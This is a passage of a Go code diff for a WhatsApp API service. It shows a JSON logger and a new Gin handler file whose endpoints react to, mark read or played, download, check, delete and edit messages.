+func (l *Logger) LogInfo(format string, args ...interface{}) {
+	l.log("INFO", format, args...)
+	logger.LogInfo(format, args...)
+}
+
+func (l *Logger) LogError(format string, args ...interface{}) {
+	l.log("ERROR", format, args...)
+	logger.LogError(format, args...)
+}
+
+func (l *Logger) LogWarn(format string, args ...interface{}) {
+	l.log("WARN", format, args...)
+	logger.LogWarn(format, args...)
+}
+
+func (l *Logger) LogDebug(format string, args ...interface{}) {
+	l.log("DEBUG", format, args...)
+	logger.LogDebug(format, args...)
+}
+
+func (l *Logger) log(level string, format string, args ...interface{}) {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	entry := LogEntry{
+		Timestamp:  time.Now(),
+		Level:      level,
+		InstanceId: l.instanceId,
+		Message:    fmt.Sprintf(format, args...),
+	}
+
+	jsonEntry, err := json.Marshal(entry)
+	if err != nil {
+		logger.LogError("Failed to marshal log entry: %v", err)
+		return
+	}
+
+	if _, err := l.writer.Write(append(jsonEntry, '\n')); err != nil {
+		logger.LogError("Failed to write log: %v", err)
+	}
+}
+
+func (l *Logger) Close() error {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	return l.writer.Close()
+}
+
+// GetLogs retorna os logs da instância com filtros opcionais
+func (l *Logger) GetLogs(startDate, endDate time.Time, level string, limit int) ([]LogEntry, error) {
+	// Implementação movida para o service
+	return nil, fmt.Errorf("método movido para instance_service")
+}

whatsapp-service/pkg/message/handler/message_handler.go

@@ -0,0 +1,422 @@
+package message_handler
+
+import (
+	"net/http"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	message_service "agentdeck-whatsapp-service/pkg/message/service"
+	"github.com/gin-gonic/gin"
+)
+
+type MessageHandler interface {
+	React(ctx *gin.Context)
+	ChatPresence(ctx *gin.Context)
+	MarkRead(ctx *gin.Context)
+	MarkPlayed(ctx *gin.Context)
+	DownloadMedia(ctx *gin.Context)
+	GetMessageStatus(ctx *gin.Context)
+	DeleteMessageEveryone(ctx *gin.Context)
+	EditMessage(ctx *gin.Context)
+}
+
+type messageHandler struct {
+	messageService message_service.MessageService
+}
+
+// React a message
+// @Summary React a message
+// @Description React to a message with support for fromMe field and participant field for group messages
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.ReactStruct true "React to a message with fromMe and participant fields"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/react [post]
+func (m *messageHandler) React(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.ReactStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Number == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "phone number is required"})
+		return
+	}
+
+	if data.Reaction == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "message reaction is required"})
+		return
+	}
+
+	message, err := m.messageService.React(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": message})
+}
+
+// ChatPresence set chat presence
+// @Summary Set chat presence
+// @Description Set chat presence
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.ChatPresenceStruct true "Set chat presence"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/presence [post]
+func (m *messageHandler) ChatPresence(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.ChatPresenceStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Number == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "phone number is required"})
+		return
+	}
+
+	if data.State == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "state is required"})
+		return
+	}
+
+	ts, err := m.messageService.ChatPresence(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// MarkRead mark a message as read
+// @Summary Mark a message as read
+// @Description Mark a message as read
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.MarkReadStruct true "Mark a message as read"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/markread [post]
+func (m *messageHandler) MarkRead(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.MarkReadStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Number == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "phone number is required"})
+		return
+	}
+
+	if len(data.Id) < 1 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+
+	ts, err := m.messageService.MarkRead(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// MarkPlayed mark an audio message as played (blue mic icon)
+// @Summary Mark an audio message as played
+// @Description Mark an audio message as played
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.MarkPlayedStruct true "Mark an audio message as played"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/markplayed [post]
+func (m *messageHandler) MarkPlayed(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.MarkPlayedStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Number == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "phone number is required"})
+		return
+	}
+
+	if len(data.Id) < 1 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+
+	ts, err := m.messageService.MarkPlayed(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// DownloadMedia download a media message (image, video, audio, document)
+// @Summary Download media
+// @Description Download the media content of a message (image, video, audio or document)
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.DownloadMediaStruct true "Download media"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/downloadmedia [post]
+func (m *messageHandler) DownloadMedia(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.DownloadMediaStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	dataUrl, ts, err := m.messageService.DownloadMedia(data, instance, ctx.Request)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"base64":    dataUrl.String(),
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// GetMessageStatus get message status
+// @Summary Get message status
+// @Description Get message status
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.MessageStatusStruct true "Get message status"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/status [post]
+func (m *messageHandler) GetMessageStatus(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.MessageStatusStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Id == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+
+	message, ts, err := m.messageService.GetMessageStatus(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"result":    message,
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// DeleteMessageEveryone delete a message for everyone
+// @Summary Delete a message for everyone
+// @Description Delete a message for everyone
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.MessageStruct true "Delete a message for everyone"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/delete [post]
+func (m *messageHandler) DeleteMessageEveryone(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.MessageStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	if data.MessageID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "messageId is required"})
+		return
+	}
+
+	msgId, ts, err := m.messageService.DeleteMessageEveryone(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"messageId": msgId,
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// EditMessage edit a message
+// @Summary Edit a message
+// @Description Edit a message
+// @Tags Message
+// @Accept json
+// @Produce json
+// @Param message body message_service.EditMessageStruct true "Edit a message"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /message/edit [post]
+func (m *messageHandler) EditMessage(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *message_service.EditMessageStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	if data.Message == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "message is required"})
+		return
+	}
+
+	if data.MessageID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "messageId is required"})
+		return
+	}
+
+	msgId, ts, err := m.messageService.EditMessage(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"messageId": msgId,
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+func NewMessageHandler(
+	messageService message_service.MessageService,
+) MessageHandler {
+	return &messageHandler{
+		messageService: messageService,
+	}
+}